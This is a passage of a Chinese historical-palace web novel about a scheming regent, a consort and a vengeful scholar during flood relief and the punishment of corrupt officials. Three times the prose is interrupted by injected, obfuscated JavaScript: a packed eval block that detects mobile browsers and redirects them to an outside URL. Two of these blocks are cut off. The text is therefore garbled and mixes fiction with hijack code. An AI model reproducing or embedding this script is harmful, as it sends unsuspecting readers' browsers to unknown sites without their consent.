“跟我走,我不能保证你荣华富贵,但我能给你一个机会,亲手把当年那些人的账,一笔一笔,算回来。” 亲手算账。 这四个字,宛若一把利剑,刺在他的胸口,苏青犹豫了。 他不是不想报仇,而是不能。 他背负着血海深仇,却只能像阴沟里的老鼠一样,为仇人的爪牙效力,苟延残喘。 眼前的这个人没有说“我帮你报仇”,而是把复仇的主动权,交还到了他的手上。 这精准地击中了一个读书人内心最深的渴望。 外面传来的惨叫声越来越近,苏青的额头渗出冷汗,他看着眼前这个器宇轩昂的男人,又看了看他身边那个美得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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果然,刚刚的只是她的幻觉罢了。 说完,他轻嗤了一声,松开了她,但那只手却强势地捉住她的手腕。 “走。” 一个字,利落地仿佛刚刚的亲密接触只是幻觉。 …… 一行人有惊无险地回到府上,安顿好惊魂未定的苏青后,房间里只剩下齐思铭和高玥两人。 房间里弥漫着淡淡地药草味,烛火摇曳,高玥静静地看着床上昏睡的苏青,他眉头紧锁,即便是在梦中也透着不安。 高玥的心情复杂,一个前途光明的读书人,一场腥风血雨的骚乱,而这一切,都只是齐思铭宏大棋盘上的一步。 她看着窗边那个静立的背影,他背上黑色的焦印还在提醒着她不久前那惊心动魄的一幕。 她望着他的背影,在心里无声地问。 齐思铭,在你这机关算尽,步步为营的二十多年里,可曾有一刻,有过真心? 今夜的一切,都在你的算计之中。 流民的愤怒,苏青的绝望,甚至是我身陷险境…… 这一切,是否都在你的剧本里? 救下我,是为了让我这枚棋子更忠诚,更死心塌地?还是在那电光火石之间,你根本来不及思考,身体先于理智做出了反应? 真心……对你而言,是什么呢? 齐思铭正在擦拭手上沾染的灰尘,像是察觉到了高玥的注视。 他转过身,凝视着高玥,不知道是不是她的错觉,有那么一瞬间,高玥好像在那双眼睛里,第一次看到了一丝真实的情绪。 那不是狠戾,也不是算计,而是一种近乎偏执的渴望和沉重的疲惫。 “推倒一堵墙很容易,”他缓缓开口,声音低沉而清晰,“但我想建一座新的。而他,就是第一块基石。” 19. 一念生死劫 一语定乾坤 连日的暴雨让整个王府都浸在一片潮湿的压抑中。 高玥端着一碗还冒着热气的安神汤,敲开了苏青的房门。 屋内光线昏暗,苏青就坐在桌旁,眼神空洞地盯着桌上的灯芯。 听到有人进来,他的眼睛动了动,看向高玥手中的那碗汤药。 “进来多日阴雨,你喝了这碗安神汤,可以睡个好觉。”高玥将碗放在他面前,语气尽量柔和。 苏青并没有直接喝药,他沉默了许久,久到高玥以为他不会有任何反应的时候,他却突然伸出手,端起了碗。 高玥心中刚松了口气,下一秒,苏青便扬起手,将整碗药汁毫不犹豫地泼在了地上。 “你!”那可是她不眠不休熬了整整七个时辰的药!连齐思铭都没有这种待遇! 苏青却扯了扯嘴角,缓缓开口说道,“安神?娘娘莫不是怕我睡不着,还是怕我想起太多我不该想的事情?” 高玥强压下怒气,冷声说道,“苏青,我们费了那么大劲把你从那里救出来,不是为了看你现在这样的。” “救?”苏青冷笑了一声,“从一个笼子换到另一个笼子,这也算救?” 他抬起眼,环视了这间屋子,“我现在在这里,像一件货物一样被你们藏着,喝着你们施舍的药,你们何必惺惺作态,摆出这副救世主的嘴脸?” 高玥深吸一口气,心头的火气反而被他这番话给浇灭,她不怒反笑。 “救世主?” “你未免也太高看你自己了。你以为我们把你弄出来,是为了听你在这里上演一出怀才不遇的悲情戏码吗?” “难道不是吗?”苏青讥讽道,“你们不就是想把我当成一件对付上面那些人的工具?我和那笼子里的鹦鹉,又有什么区别?” “当然有区别!”高玥反驳道,“鹦鹉被关久了,只会学舌,忘了怎么飞。” “而你是一把刀,一把本该插进敌人心脏的刀。可现在,这把刀却宁愿在这里生锈,也不愿出鞘!” “我……”苏青一时间被怼的哑口无言。 高玥没有给他喘息的机会,继续说道:“还有,我费心熬这碗药,不是让你安睡的,是让你清醒的。清醒地看看你自己,看看你现在这副人不人鬼不鬼的样子!” “你以为你是在折磨我们吗?不,你只是在折磨你自己,在践踏那些枉死之人的期望!” 她说完,不再看他一眼,转身便走。 “路,你自己选。” …… 外面是饥肠辘辘的灾民,府内是诡异的安静。 苏青拢了拢身上被雨水打湿的斗篷,悄悄站在远处一棵柳树的阴影下,目光穿过纷乱的人群,精准地锁定了那个身影。 他听下人说今日齐思铭会亲自帮助修缮河堤,却没想到会是这样的一副景象。 听说那个权倾朝野的男人如今正一身短装,和周围的士兵们一样,浑身沾满了黄泥,此时正接过一个沉甸甸的沙袋,向着堤坝上最危险的缺口稳稳走去。 一场完美的政治作秀。 苏青扯了扯嘴角,眼底尽是讥诮。 不过是些沽名钓誉罢了,他早已看透。 他的视线微微偏移,看向旁边不远处的粥棚。 那个女人挽着袖子,妩媚的脸上如今满是泥星,但她好似浑然不觉,仍一勺一勺地将热粥盛进破旧的碗里。 “蠢女人。”皇宫里的生活不好吗?非要跟着这种男人受罪。 他收回目光,却瞥见一个鬼鬼祟祟的男人混进施粥的队伍里。 “大家别喝这粥!这些人跟那些贪官是一伙的!” 一个瘦高的男人跳上一块石头,指着指着高玥大喊:“我亲眼看见,害得咱们家破人亡的那个奸臣走狗苏青,就被他藏在府里! 他们这是猫哭耗子假慈悲,想把我们骗到一块儿斩草除根!” 这话如同一颗火星,瞬间爆炸了灾民心中压抑的火药。 “什么?苏青在他府上?” “听说那个苏青是专门给那个狗官做假账的,此刻这些人跟他混在一起,能安的什么好心!” “我说呢,修什么河堤,原来是蛇鼠一窝!” “他们想杀人灭口!” 高玥下意识地看向面前那个刚接过粥的孩子,在他的眼中看到了自己错愕的脸,那点刚刚升起的对食物的渴望,瞬间被更浓烈的恐惧和愤怒所取代。 “坏女人!” 男孩猛地将手中的粥全都倒在高玥的脸上。 “她也是和贪官是一伙的!” “把他们都扔到河里去喂鱼!” 愤怒的灾民像是刚出笼的野兽,疯狂地向着粥棚涌来。 混乱中,高玥只觉得背后被人用尽全力狠狠一推,她脚下一个踉跄,身体完全失去了平衡,整个人不受控制地向后倒去。 “阿玥!” 高玥仿佛听到了有人在叫她,随即浑浊的泥浆瞬间灌满了她的口鼻,一股巨大的吸力把她向更深处拖去。 几乎是同一时刻,一只冰冷而有力的手紧紧地抓住了她的手腕,那股力量是如此蛮横,不带一丝平日的温和与试探。 她甚至来不及感受疼痛,整个人就被一股力量猛地往上拖拽。 “抓住我!”高玥觉得自己好像幻听了,她竟然听出了一丝惊慌。 这个男人也会有如此紧张的时候?但这个念头很快被打消。 侍卫们瞬间拔刀围了上来,试图将疯狂的灾民隔开,但疯狂的灾民已经丧失了理智,如同丧尸一般向前涌来。 齐思铭的眼神瞬间阴沉了下来,那一点残存的惊惶消失得无影无踪,取而代之的是足以将人杀死的冷意。 “放肆!”他的声音没有丝毫起伏。 “谁再敢闹事,格杀勿论!” 亲卫们“唰”地抽出佩刀,对准了正在蜂拥的灾民。 远处的苏青冷笑了一声。 看,这就是权贵者的真面目,那层悲天悯人的面具一旦被撕下,剩下的只会血腥的镇压。 就在他以为流血一触即发的时候,一只沾满泥污的手,轻轻按在了齐思铭即将挥下的手臂上。 是高玥。 她挣扎着从泥泞里撑起身体,扶着身旁一块石头稳稳地站了起来。 她没有看向齐思铭,只是用力地抹了一把脸,然后走向灾民。 一步,又一步。 “王爷的愤怒,是因为我,” 她的声音不大,却清晰地传入每个人耳中,“但我知道,各位的愤怒,不是因为我。” 喧嚣的人群诡异地安静了下来。 她环视众人,目光没有半分退缩:“你们的家没了,亲人散了,心里有怨,有恨,这没有错。如果我是你们,我只会比你们更愤怒,更绝望。” 高玥指了指王府的方向,厉声说道:“刚刚那人说的没错,苏青就在府里!” 一句话让刚刚安静下来的气氛再次被点燃,灾民议论纷纷,但谁也不敢上前。 “但不是座上宾,而是我们揪出来的,扳倒那些贪官的人证!” 她向前走了一步,继续说道:“你们恨贪官,我也恨!王爷更恨! 我们费尽心力把他弄来,就是要把那些真正害你们流离失所的恶人,一个个连根拔起!” “口说无凭!”人群中有人喊道。 “说得好!” 高玥立刻应声,她的目光仿佛燃烧着火焰,“信任当然不是靠嘴说的,是靠做的!从今日起,王府所有赈灾物资账目公开!” 她顿了顿,一字一句,掷地有声: “从今日起,粮食入库,你们的人一起点;开仓放粮,你们的人一起称!这粥是稠是稀,这药是真是假,这钱是花在了河堤上,还是进了谁的口袋里,你们亲自来看,亲自来查!” 全场一片死寂。 灾民们一时间面面相觑。 他们从未听过这样的话,也从未见过这些高高在上的大人物,竟然会让他们这些泥腿子去查账。 “若我今日说的有半个字是假话,便让我如同脚下的石头,分粉身碎骨!” 远处苏青的手不自觉地收紧。 他死死盯着那个站在泥泞中,身形单薄却仿佛有万丈光芒的女人,脑海中一片混乱。 某个他笃信了二十多年的认知,却在此刻裂开了一道细微的缝隙。 回到房中,高玥换上了一套干净的衣服,却毫无睡意。 她想起了白天挣扎在天灾中的百姓,沉默了片刻,吩咐翠儿:“去取些硬纸和剪刀来。” 齐思铭进来时,看到的就是这样一幅景象。 高玥坐在灯下,素手翻飞,不一会便将一张张硬纸片折叠成一只只栩栩如生的小鸟。 “这是什么?”他走过去,随意地拿起一只折好的小鸟,仔细端详起来。 “千纸鹤。”高玥应了一声,手上的动作没有停下,“在我的家乡,每当有人发生不好的事情的时候,如果可以折满九百九十九只千纸鹤,那个人就一定会转危为安。” 她拿起一只刚折好的千纸鹤,对着摇曳的烛光轻声说道:“我希望,这世间再无流离失所,人人皆有安身之所,人间处处海晏河清。” “海晏河清。”齐思铭低声重复着这四个字,像是听到了什么有趣的话一样。 “贵妃还真是天真的可爱。” 他将手中的千纸鹤放回桌上,看向窗外,想起了白天那些只被谣言轻轻一点,便开始躁动不安的灾民。 “这世上从来都没有神佛,也从不靠祈愿。安稳,不过是用血与骨铺出来的路。” 高玥手上的动作停了下来,她背对着齐思铭,脸上看不情绪。 过了很久,她一字一句地说道,“王爷说得对,江山是靠刀剑杀出来的。” “可人心不是。刀剑能让人畏惧,但我希望的,是杀出一个太平盛世后,这世上所有的人,都能心有所安。这,难道不是王爷想要的吗?” 人心…… 这两个字仿佛针尖一般刺入他内心。 他看着她桌前那一堆所谓祈愿的千纸鹤,第一次发现,这个他一直以为可以随意摆布的棋子,身体里竟藏着一个他完全陌生的灵魂。 他从不相信真心,正如他谋划过天下,算计过人心,却从未想过这条铺满血的路上,最终的风景是什么模样。 许久,他才缓缓开口,声音里听不出任何情绪。 “夜深了,休息吧。”说完,他便转身离去,仿佛只是过来此说了一句无关紧要的话。 夜深人静,高玥亲自端着安神的汤药,推开了苏青的房门。 苏青并未休息,正伏在案前,在一张草纸上奋笔疾书。 听到动静,他警惕地抬起头,下意识地想将草纸收起。 然而已经晚了,高玥瞥了一眼草纸上写的东西。 朱门酒肉锁春光墙外枯骨寒如霜 金樽玉盏盛民怨龙椅之上听断肠 苍天已死黄泉闭人间何处觅家乡 不如提剑斩蛇蟒血染山河换新章 字迹潦草,笔锋却带着一股压抑不住的悲愤,仿佛要将那张草纸划破。 “写的很好,”高玥将汤药放下,轻声说道,“但只说对了一半。” 苏青眼中闪过一丝冷笑,等着她的长篇大论。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315867|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高玥却根本没按他的预想出牌,而是话锋一转:“看得出你很痛恨权贵,尤其是像我与王爷这样的人。” 还没等苏青回答,她便自顾自地说了下去:“可你想过没有,无论是权贵还是百姓,都只是在同一个规则下行事的人。 你以为你推倒了几个权贵,其实不过是拔掉几根显眼的杂草,只要滋生杂草的土壤还在,明天,后天,它只会冒出更多的杂草来。而我们要做的是,改变土壤。” “改变土壤?”他咀嚼着这几个字,声音有些迷惑。 “对。”高玥的眼神此刻亮得惊人。 “我们要做的,是让规则去限制权利,而不是让权利成为规则。” 改变土壤……重写规则…… 苏青像是想到了什么似的,猛然抬头看向高玥。 “你……”那两个字呼之欲出,却又被他死死地按了回去。 他死死地盯着高玥,脸上是一种混杂着惊骇,以及难以置信的情绪。 他强迫自己冷静下来,紧紧握住笔,生怕自己下一秒就要捏碎。 “你说的这些,他……都知道?” 这个“他”,自然指的是齐思铭。 高玥没有回答。 这沉默,比任何回答都来的清晰。 他一直以为,齐思铭和高玥拉拢他,只是想利用他手中的账本,作为攻击政敌的武器。 可现在,这个女人却在他面前不是在谈论如何“复仇”,而是在探讨如何“建一座新城”。 他心中那个紧闭多年的大门,此刻正一点一点的被打开。 门外,一道身影静立在阴影中。 齐思铭本是放心不下,想来看看苏青的情况,却恰好听到了高玥后半段的谈话。 “你……”苏青刚想对高玥说“你让我想想”,眼角的余光却突然瞥见了门外的人影,他心中一动,一个念头浮了上来。 “娘娘如此相信王爷,难道就没有想过有一日,大船靠岸,掌舵人第一个要丢下海的,或许就是娘娘您这块压舱石?” 高玥闻言一愣,似乎被这个问题问住了。 她认真地思索了片刻,才缓缓开口,声音里没有半分矫饰。 “实不相瞒,哪怕是到现在,我都觉得他像一团看不透的迷雾。他的心思太深,手段太狠,常常会让人感到害怕。” 她顿了顿,话语里却染上了一丝旁人不易察觉的柔软。 “但相处久了,我才渐渐明白,他的每一步狠戾,每一次算计,都是在为自己踏出一条活路。 他只是……活得太辛苦了。 我想帮他,让他在这条路上走的不那么孤单。” 门外,齐思铭紧握的拳头,缓缓松开。 他转身离去,脚步无声,很快便于夜色融为一体。 跟在身后的王友快走几步,低声说道,“王爷。” 齐思铭没有停下脚步,只是发出了一声淡淡地“嗯”字。 “娘娘对您可真是情深义重。” 齐思铭的脚步倏然一顿。 “情深义重?”他笑了一声,“王友,你何时也变得这般天真了?她不过是枚聪明的棋子,知道哪艘船能载她到对岸罢了。” “她有什么手段,你还不知道吗?” 说完,他便不再理会王友,径直向前走去。 他推开房门,目光习惯性地扫过书案,然后突然定住。 在那一叠文书上,安静地卧着一只小小的千纸鹤。 幼稚,天真。 这是他长久以来的第一反应,但在指尖触碰到的那一刻,竟有了一丝细微的迟疑。 他嘲笑她的天真,告诫自己那不过是更高明的攻心之术。 可这只千纸鹤…… 它算什么? 最终,他还是将那只千纸鹤拈了起来,将它轻轻放在掌心,摩挲着那清晰的折痕,许久,他才缓缓收拢五指,将那只纸鹤完整地护在了掌心之中。 齐思铭走后,苏青刚想再说什么,却听见高玥又轻声补充了一句,那声音很低,像是在对自己说。 “但你说‘情’……我好像,从未真正想过这种事。” 她的语气里,带着一种纯粹理性的困惑,仿佛“情爱”这个词,本身就是一个超出她认知范畴的复杂概念。 高玥似乎看出了苏青的不解,她看向桌上的烛火,轻声说道:“或许你会觉得奇怪。但从很久以前开始,我的脑海里就一直有一个声音。” “它会告诉我,什么是对的,什么是错的。它会为我规划好每一步路,告诉我达成目标的最佳途径。就像现在,它告诉我,帮助那个人,就是我必须完成的使命。” 苏青看着眼前这个突然冷静地可怕的女人,一时间竟不知该作何反应。 原以为她对齐思铭的付出是源于深情,或是极致的野心,却没想到,答案竟是这样。 他沉默了许久,才缓缓开口:“那你自己呢?” 高玥抬起头,眼中充满不解:“什么我自己?” “那你可曾有过那么一瞬间,你是为了自己想要去做某件事,而不是因为别人,或是某个声音告诉你,你应该这么做?” 第二天一早,齐思铭的房门被敲响。 王友打开门,看到门外站着的竟是苏青,不由得吃了一惊。 他径直走了进去,却不是来说账簿的事情。 “通源钱庄,位于淮北朱雀大街南三巷,其背后的人,是富商钱通。” 他看着齐思铭和高玥,一字一顿地说道:“这个钱庄,掌管着整个北部超过七成的资金。这是他们的命脉,也是最难啃的一块骨头。” 20. 天道好轮回 苍天饶过谁 齐思铭的嘴角缓缓勾起,但那张温润的面容上已经多了几分狠厉。 “这件事我会去解决。”他冷冷说道,“不过眼下,还有一件更重要的事情。” 淮北城外,临时搭建的审判台下站满了乌泱一片的灾民。 高玥站在人群之后,远远望着。 黑压压的人群,与其说是人,倒不如说是行尸走肉,直到枷锁拖地的声音传来,那些死灰般的眼眸中,竟像是投入了一颗火星,瞬间燎原。 高玥看向审判台,齐思铭就站在那里,一身火红的飞鱼服使他在阴沉的天空下显得格外肃杀。 他手中拿着卷宗,只是静静地站着,冷漠而威严。 他的声音不高,却清晰地传入每一个人的耳中。 “河北知府,张承德,贪墨赈灾银三万两!” 话音刚落,一个骨瘦如柴的老者颤抖地指着台上的张承德,浑浊的眼中流下了泪水:“就是他!我的儿媳为了给孙儿换一口吃的,活活把自己卖了!可那粮食,是发了霉的啊,可怜我那孙儿,吃完那发霉的粮食一病不起!” 齐思铭面无表情,继续宣读。 “通判李牧,克扣官粮,以次充好,致使城中疫病横行!” “河道总督王显,偷工减料,致使河堤决口,淹没良田万顷,百姓家破人亡!” 每一桩罪名,都伴随着一个或数个受害灾民的血泪控诉。 台下的民愤汇聚成海啸,一声声“杀了他”几乎要掀翻这河北阴沉的天空。 那些官员们起初还满脸不屑,自恃官身,认为这不过是那个王爷笼络人心的把戏罢了。 可随着罪证一一陈列,听着那些曾经被他们视作蝼蚁的灾民的哭嚎,他们的脸色开始变得煞白,再到彻底的恐惧。 “行刑。” 齐思铭的声音不带任何温度,冷冷地下达了命令。 这并非简单的斩首。 那个侵吞赈灾银的张承德,被士兵强按着跪在台前,两大包沉甸甸的白银被堆在他高举的双手上。 “张大人。”齐思铭居高临下地看着张承德,眼中没有一丝波澜,“本王听说,你爱银如命。” 他微微俯身,轻轻拍了拍那装满银锭的麻袋,凑到张承德耳边,“既然你这么喜欢银子,那便让你最爱的银子陪你过夜吧。” 下一个,便是那通判李牧。 齐思铭挥了挥手,一名士兵端着一只破碗走到了李牧面前,碗里飘来了阵阵酸腐恶臭的味道。 那正是灾民们吃下后上吐下泻,造成疫病的霉米! 李牧拼命挣扎,但两个士兵死死按住他的肩膀,另一个则粗暴地捏开他的下颚,将那团令人作呕的霉米饭,硬生生灌进了他的喉咙! “不!老爷!爹!”他的妻女就在一旁,哭得撕心裂肺,她们被士兵拦着,却只能眼睁睁看着他被那足以致命的毒粮折磨得拼命干呕不止。 而草菅人命的河道总督王显,则被绑在了决堤口的木桩上。 浑浊的洪水裹挟着泥沙与断木,狠狠冲撞着他的身体,他涕泗横流,拼命挣扎,口中却只能发出不成调的哀嚎,可那声音刚一出口,便被滔天的水声彻底吞没。 就在他即将被卷入那吞噬一切的洪流的最后一刻,岸上的士兵猛地收紧了另一端的绳索,硬生生将他从死亡的边缘拖拽了回来,重重摔在泥泞之中。 一线生死,诛心之刑,莫过于此。 百姓们看着这些昔日作威作福的贪官落得如此下场,压抑已久的怨气终于得以宣泄,他们一遍遍高呼着齐思铭的名字。 “王爷英明!” “青天大老爷!” 齐思铭缓缓抬手,示意刽子手准备。 全场的情绪在这一刻达到了顶峰,所有人都屏住呼吸,等待那正义落下的一刀。 可就在刀锋即将落下之际,一阵华丽的车马銮铃声由远及近,穿透了人潮的喧嚣。 “刀下留人!” 这四个字,仿佛一盆兜头浇下的冰水,瞬间浇灭了全场的狂热。 百姓们愕然回头,只见一队身着明黄甲胄的禁军,护卫着一架极尽奢华的龙辇,缓缓驶来。 那明黄色的旗帜意味着什么,所有人都不由自主地跪了下来。 刽子手的刀停在半空,进退两难。 齐思铭缓缓转身,望着那紧闭着帘幕的龙辇,脸上温润的笑容已经消失,只剩下深不见底的阴冷。 他握紧了藏在袖中的手。 龙辇中传来温和的声音:“都平身吧。朕听闻此地遭了水患,心急如焚,特地赶来看看。” 但却无人敢起身,空气中弥漫着诡异的安静。 皇帝的声音再次响起,但这次是对着齐思铭说的:“思铭啊,你此雷厉风行,为民除害,朕心甚慰。” 齐思铭躬身行礼,声音平稳:“为陛下分忧,乃臣之本分。” “好,好一个本分。”皇帝轻笑了两声,话锋却陡然一转,“但国有国法,家有家规。这些毕竟是朝廷命官,纵有天大的罪过,也需交由大理寺三司会审,明正典刑,方能昭告天下。 来人,将人犯带走,好生看管。” 只是轻飘飘的一句话,便轻松夺走了齐思铭所有的处置权。 百姓们脸上的喜悦瞬间凝固,取而代之的是困惑,以及一丝不易察觉的恐惧。 只有高玥注意到了齐思铭长长的睫毛遮住了眸中的怒火。 她远远地看到禁军上前,将那些瘫软如泥的贪官们一一解开,押向囚车。 从始至终,那龙辇的车帘,连一丝缝隙都未曾掀开。 …… 夜色降临,临时行宫内却灯火通明。 高玥坐在席间,只觉得浑身仿佛爬满了细小的虫子,浑身都不自在。 而在她的对面,一个油光满面的男人整举着酒杯,谄媚地向主座上的齐思铭敬酒。 而这个人她可太熟悉了,正是前几天被她与齐思铭联手搞了的王员外。 “王爷日理万机,为河北的百姓操碎了心,下官感激不尽!”王员外笑的一脸褶子,“这些舞姬是下官特地从江南寻来的,不成敬意,还请王爷笑纳,也可以帮王爷解解乏。” 殿中,十数名身着薄纱的舞姬正扭动着纤细的腰肢,水袖翻飞,极尽魅惑。 空气中弥漫着酒气与女子身上浓郁的香粉味,熏得高玥头脑发昏。 “你有心了。”皇帝满意地点了点头。 外面如今正哀鸿遍野,而这里却一片歌舞升平,高玥只觉得胃里一阵翻江倒海。 她下意识地攥紧了筷子,却瞥见齐思铭手中正把玩着那只白玉酒杯,嘴边还噙着一抹惯有的温和笑意。 似乎正饶有兴致地欣赏着眼前的歌舞,还时不时的对王员外点头回应。 可经过这些日子相处下来,她可太懂齐思铭这个笑容意味着什么了。 皇帝夹了一块肥美的鹿肉,亲手放进齐思铭的碗中,笑呵呵地说道:“思铭啊,刀,有的时候太快了,容易伤到自己。” 齐思铭放下酒杯,起身谢恩。 皇帝摆摆手,示意他坐下,继续说道:“有些事,敲打敲打就行了,何必赶尽杀绝呢? 他们毕竟为朝廷效力多年,没有功劳也有苦劳,凡事留一线,日后好相见嘛。” 这话既是警告,也是在点齐思铭,“我的人”你也敢动? 齐思铭摩挲着酒杯,垂首低声道:“是臣行事鲁莽了,还请陛下恕罪。” “知错就好。”皇帝满意地点点头,端起酒杯。 皇帝饮下一杯酒,目光这才悠悠地转向高玥,刚刚那股子威严瞬间化作春水般的柔情。 “玥儿,”他长叹一声,声音里满是后怕与疼惜,“你知不知道,当时朕听闻你失踪的消息,只觉得五内俱焚,差点就随你一起去了!” 他演得情真意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她在那吃人的地方,对着你的仇人笑,饮着那杯最恶心的酒,走的每一步都可能是万丈深渊。” 苏青的目光重新落回齐思铭脸上,眼神锐利得仿佛能刺穿他所有的伪装。 齐思铭的酒杯悬在了半空,许久,才缓缓放下。 “我与她,并非你想象的那种关系。” 苏青闻言,噗嗤笑了出来,“哦?把人家骗上了船,如今船行至江心,你倒说跟你没关系了?” 他懒洋洋地往后一靠,双手抱胸,上上下下打量着齐思铭,像是在看什么稀罕物件。 “我就不知道了,”苏青的语气中带着几分玩味,“你到底有什么好的?偏叫人看上了,一个两个的,还都嘴硬得很。” 齐思铭的脸色瞬间沉了下去,他没有反驳,因为无从反驳。 见他这副模样,苏青也不再多言,只是重新提起酒壶,为两人将空杯斟满。 月光如水,洒在寂静的庭院里,没有了言语的交锋,只剩下苦酒入喉的细微和那压抑在心底,却说不清道不明的沉重情绪。 次日清晨,高玥记挂着那些灾民,便独自上街,想搜寻些可以治疗疫病的药材。她包好了药材,正欲转身离开,却无意中听到了邻桌的谈话。 “要我说啊,这次咱们河北能得救,全靠太子殿下!”一个商人模样的男子高声道。 “可不是嘛!我听说,是太子殿下在陛下面前力谏,才派了王爷来彻查此案。王爷不过是执行之人,真正心系咱们百姓的,是太子殿下啊!” “没错没错,太子仁德,真乃我大胤之福!” 一夜之间,从茶馆传到街头巷尾,几乎每一个角落都在传颂着太子齐思安的仁德与功绩。 高玥手持着那包刚买的伤药,愣在原地。 他们拼死拼活,到头来,不过是为他人作嫁衣裳。 21. 鹿死谁手风云起 “王爷!” 齐思铭正坐在案前查看卷牍,这几日的灾情愈发的眼中,他的眼中蒙上了一层寒霜。见到王友急匆匆地进来,只是淡淡地吐出一个字,“说。” “城外安置灾民的粥棚,已经断粮一日了!下官带人去府衙催粮,可那群狗官,他们竟说库府空虚,一粒米都拿不出来!”王友的声音有些激动。 “陛下如今就在这里,可那群狗官却好似更加狂妄!” 齐思铭并未回答,可王友能感觉到,他周身的气压已经开始下降,冷得让人发颤。 王友咬了咬牙,继续道,“咱们昨日审判的王承德……听说他如今不仅无罪释放,昨日还……还在家里设宴,说是要庆贺太子殿下心怀万民,解救河北于水火……” 话音未落,只听“啪”的一声脆响。 齐思铭手中的笔被他生生掐成两截。 他缓缓抬起头,幽深的眸子中再无一丝波澜。 他站起身,将手中两截的毫笔扔在桌上,走到王友面前,一字一句地说道,“随本王去看看,看看太子殿下,是如何心怀万民的。” 就在他与王友正要出门的时候,一个侍立在廊下的小厮脸上闪过一丝犹豫,想上前又不敢上前的样子,最终还是硬着头皮快步跟了上来,在齐思铭身后几步远的地方停住,深深垂下头。 “何事?” 那小厮的身子几不可察地抖了一下,低声禀报:“王爷,贵妃那边传来消息,说她今早偶感风寒,浑身乏力,起不来了。” 齐思铭脚步顿住,声音听不出喜怒:“风寒?行宫里有的是御医,让他们去看便是,报与我作甚。” 他言罢便抬步要走。 刚走了两步,脑海中却闪过昨夜宴席上的画面。 高玥端着酒壶,笑意盈盈地为皇帝斟酒,那笑容明媚又乖巧,搅得他心里一阵烦躁。 半晌,他侧过头,对王友沉声道:“你先去城外稳住灾民,就说本王随后就到。粮食的事,本王自有办法。” 王友虽有不解,但还是立刻拱手领命,快步离去。 待王友的身影消失在院门外,齐思铭才缓缓转过身,方向却不再是府门,而是径直朝着高玥所住的偏殿走去。 他倒要看看,她这葫芦里,究竟卖的是什么药。 高玥的卧房内,她正虚弱地半躺在床上,脸色苍白,拿着手帕时不时轻咳两声,旁边的小宫女翠儿满脸焦急地为她抚背顺气。 齐思铭屏退了下人,独自走了进去。 他未立刻开口,只是站在床边,居高临下地看着她。 高玥见齐思铭来了,一双水灵灵的眼睛此刻蒙着水雾,声音中带着虚弱的沙哑:“你怎么来了……我没事的,就是头有些晕……咳咳……你快去忙你的正事吧。” 齐思铭却一言不发,那双深不见底的眸子牢牢锁在她的脸上。 他缓缓俯下身,高大的身躯带着一股无形的压迫感笼罩下来。 温热的呼吸带着一丝若有似无的木松香,尽数喷洒在她的脸颊和耳廓上,激起一阵细微的战栗。 高玥莫名有些心虚地别开了脸。 他却伸出手,将滑落到她腰间的锦被,轻轻向上拉了拉,严丝合缝地掖好她的被角,动作温柔得仿佛是在对待一件稀世珍宝。 就在高玥以为他会说些什么的时候,那只刚刚还替她掖着被角的手,却猛地抬起,一把攥住了她露在被子外的手腕。 力道之大,不容抗拒。 高玥的身体瞬间僵住。 “脉象平稳有力,气息悠长。”齐思铭缓缓开口,声音不大,“贵妃这风寒,病得可真是清奇。” 他松开了她的手腕,却并未起身。 反而身体压得更低,一手撑在她的耳侧,另一只手越过她的身体,按在了另一边的床榻上。 高玥整个人都被结结实实地笼罩在了他的阴影之下。 这姿势太过亲密,也太过危险。 她甚至能看清他根根分明的睫毛,以及那双幽深眼眸里,映出的自己此刻的惊慌失措。 “别演了。”他的声音低沉,“你到底在耍什么手段?” “我能耍什么手段……”高玥嘴里嘟囔道。 但是齐思铭显然不满意这个回答,审视的目光依旧。 高玥被他看得心虚,眼神飘忽:“行了别看了!我就是不想让你出门!” “为什么?”齐思铭步步紧逼。 看着他不容置喙的眼神,高玥知道自己再也瞒不下去。 她只得把自己听到的那些流言蜚语,以及自己的担忧都说了出来。 “所以,你就用这种蠢办法,想把我关在屋里?”他直起身,气的轻笑了一声。 高玥被他那句“蠢办法”气得心头一梗,索性也不装了,从床上坐了起来。 “我也不是全装的,我确实是有些不舒服嘛……”她的声音说得越来越小,“你都没听到,外面那些人怎么夸太子的!” 这一定是皇后的手笔。 听到“太子”两个字,齐思铭脸上的笑意瞬间褪去。 他看着高玥,声音平静却带着不容置喙,“那这么说,今天这个门,我是非出去不可了。” “而且,他们既然把戏台子搭好了,我若是不上去唱一出,岂不是太不给面子了?” …… 行宫的另一侧,威严肃穆的正殿内,檀香袅袅。 当今圣上,正高坐于龙椅之上,此刻正带着几分审视,看着殿下跪着的一个身影。 “清虚真人,”皇帝的声音低沉而洪亮,“你所言的‘祥瑞’,朕此番亲临河北,就是为了一睹其真容。此事,可有万全的把握?” 被称作清虚真人的道士闻言,将拂尘轻轻一甩,稽首道:“回禀陛下,天机不可泄露,然神物自有感应。陛下乃真龙天子,仁德之君,贫道夜观天象,卜算方位,那五彩神鹿明日会于盘龙谷现身,沐浴天光,以彰陛下圣明!” 第二日。 观景台上,皇帝端坐中央,皇后与太子分坐其左右。 清虚真人则在台前设下法坛,口中念念有词,焚烧符纸。 